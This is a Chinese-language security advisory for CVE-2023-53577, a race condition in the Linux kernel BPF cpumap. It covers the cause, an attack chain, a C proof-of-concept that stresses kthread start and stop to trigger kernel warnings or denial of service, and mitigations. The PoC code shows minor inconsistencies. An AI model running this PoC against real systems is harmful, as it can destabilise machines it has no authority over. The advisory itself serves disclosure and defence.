IPBUF安全漏洞报告
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CVE-2023-53577 CVSS 7.8 高危

CVE-2023-53577:Linux内核BPF cpumap竞争条件漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53577
漏洞类型
竞争条件漏洞(Race Condition)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(BPF cpumap子系统)

相关标签

Linux KernelBPFcpumap竞争条件Race ConditionXDP本地提权拒绝服务内核漏洞内存泄漏

漏洞概述

CVE-2023-53577是Linux内核BPF(Berkeley Packet Filter)cpumap子系统中存在的一个高危竞争条件漏洞。该漏洞源于cpu_map_update_elem操作中,per-cpu kthread的启动与停止之间存在时序竞争问题。当使用stress模式运行xdp_redirect_cpu并配合RT线程时,内核会触发WARNING警告。具体表现为:kthread_stop()在cpu_map_kthread_stop()中过早停止了kthread线程,而kthread()函数尚未调用cpu_map_kthread_run(),但XDP程序已经将部分frames或skbs排入ptr_ring队列中。当__cpu_map_ring_cleanup()检查ptr_ring时,发现队列未被清空,从而触发警告并可能导致内存泄漏或资源管理异常。该漏洞与commit 436901649731修复的内存泄漏问题根因相同。CVSS评分为7.8,属于高危级别,攻击者需要本地低权限访问即可利用,对系统的机密性、完整性和可用性均产生高影响。

技术细节

该漏洞的技术原理涉及Linux内核BPF cpumap的kthread生命周期管理。cpumap是BPF/XDP(eXpress Data Path)框架中的一个关键组件,用于在不同CPU核心之间重定向数据包。

漏洞根本原因:在__cpu_map_entry_alloc()函数返回之前,系统未能确保per-cpu kthread已经成功启动并运行。当kthread_stop()被调用时,如果kthread尚未执行cpu_map_kthread_run(),则ptr_ring中已排队的frames或skbs将无法被正常处理。__cpu_map_ring_cleanup()检测到ptr_ring非空时,会触发内核WARNING警告(kernel/bpf/cpumap.c:135),并可能引发put_cpu_map_entry中的引用计数异常。

调用链分析:触发路径为cpu_map_kthread_stop() -> put_cpu_map_entry(),通过process_one_work -> worker_thread -> kthread的工作队列机制执行。

利用方式:攻击者需要本地低权限访问系统,通过创建并操作BPF cpumap映射,触发xdp_redirect_cpu操作。在stress模式下,结合RT线程的调度干扰,可以放大竞争窗口,强制触发kthread过早停止的场景。成功后可能导致内核警告、系统不稳定或拒绝服务。

修复方案:在__cpu_map_entry_alloc()返回前确保per-cpu kthread已正常运行,消除kthread_stop()的错误处理路径(因为修复后kthread_stop()始终返回0)。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标Linux系统的本地访问权限,需要具备root权限或CAP_BPF/CAP_NET_ADMIN capability才能操作BPF子系统。
STEP 2
步骤2:创建BPF cpumap映射
通过bpf()系统调用创建BPF_MAP_TYPE_CPUMAP类型的映射,并使用BPF_MAP_UPDATE_ELEM更新映射元素,将特定CPU核心绑定到cpumap条目。
STEP 3
步骤3:触发竞争窗口
在高压力环境下(如stress模式运行xdp_redirect_cpu配合RT实时线程),快速创建和销毁cpumap条目,迫使kthread_stop()在kthread尚未执行cpu_map_kthread_run()时被调用。
STEP 4
步骤4:触发内核警告
当__cpu_map_ring_cleanup()检查ptr_ring时发现队列非空(因为XDP程序已排入frames但kthread未运行处理),触发内核WARNING警告,可能导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53577 - Linux Kernel BPF cpumap Race Condition // This PoC demonstrates triggering the race condition in cpu_map_kthread_stop // Requires: root or CAP_BPF/CAP_NET_ADMIN privileges, Linux kernel < 6.5 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/resource.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> // Structure to hold CPU map FD static int g_cpumap_fd = -1; // Thread function to create RT scheduling pressure static void *rt_pressure_thread(void *arg) { struct sched_param sp = { .sched_priority = 50 }; pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp); volatile long long counter = 0; while (1) { counter++; // Busy loop to create CPU pressure if (counter % 1000000 == 0) { usleep(1); // Yield occasionally } } return NULL; } // Create a BPF CPU map with specified CPU static int create_cpumap(int cpu) { int fd; __u32 key = 0; __u32 value = cpu; // BPF_MAP_TYPE_CPUMAP creation union bpf_attr attr = {}; attr.map_type = 6; // BPF_MAP_TYPE_CPUMAP attr.key_size = 4; attr.value_size = 4; attr.max_entries = 1; fd = bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); if (fd < 0) { perror("bpf_map_create"); return -1; } // Update the map with target CPU attr.map_fd = fd; attr.key = (__u64)&key; attr.value = (__u64)&value; if (bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)) < 0) { perror("bpf_map_update_elem"); close(fd); return -1; } return fd; } // Rapidly create and destroy CPU maps to trigger race condition static void *trigger_race(void *arg) { int iterations = *(int *)arg; for (int i = 0; i < iterations; i++) { int fd = create_cpumap(i % 8); if (fd >= 0) { // Immediately close to trigger kthread_stop // while kthread may not have started yet close(fd); } // No sleep - maximize race window } return NULL; } int main(int argc, char **argv) { int num_threads = 4; int iterations = 10000; printf("CVE-2023-53577 PoC - BPF cpumap Race Condition\n"); printf("Requires: Linux kernel < 6.5, root/CAP_BPF\n\n"); if (getuid() != 0) { fprintf(stderr, "Error: must run as root\n"); return 1; } // Set RT scheduling for main process struct sched_param sp = { .sched_priority = 1 }; setpriority(PRIO_PROCESS, 0, -20); // Launch RT pressure threads pthread_t rt_threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&rt_threads[i], NULL, rt_pressure_thread, NULL); } // Launch race trigger threads pthread_t race_threads[4]; for (int i = 0; i < num_threads; i++) { pthread_create(&race_threads[i], NULL, trigger_race, &iterations); } // Wait for completion for (int i = 0; i < num_threads; i++) { pthread_join(race_threads[i], NULL); } printf("Race condition trigger complete. Check dmesg for warnings.\n"); printf("Look for: WARNING: CPU: ... at kernel/bpf/cpumap.c:135\n"); return 0; } // Build: gcc -o poc poc.c -lbpf -lpthread // Run: sudo ./poc // Expected: Kernel warning at kernel/bpf/cpumap.c:135 (put_cpu_map_entry+0xda/0x220)

影响范围

Linux Kernel < 6.5.0-rc2+
Linux Kernel stable分支(修复commit: 640a604585aa30f93e39b17d4d6ba69fcb1e66c9)
Linux Kernel stable分支(修复commit: 7a1178a3671b40746830d355836b72e47ceb2490)
Linux Kernel stable分支(修复commit: b44d28b98f185d2f2348aa3c3636838c316f889e)
Linux Kernel stable分支(修复commit: ecb45b852af5e88257020b88bea5ff0798d72aca)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1) 通过设置sysctl参数kernel.unprivileged_bpf_disabled=1禁用非特权BPF;2) 使用seccomp或LSM限制bpf()系统调用的使用;3) 避免在生产环境中运行xdp_redirect_cpu的stress模式测试;4) 监控dmesg日志,及时发现cpumap相关的内核警告;5) 限制本地用户的CAP_BPF和CAP_NET_ADMIN权限。

参考链接

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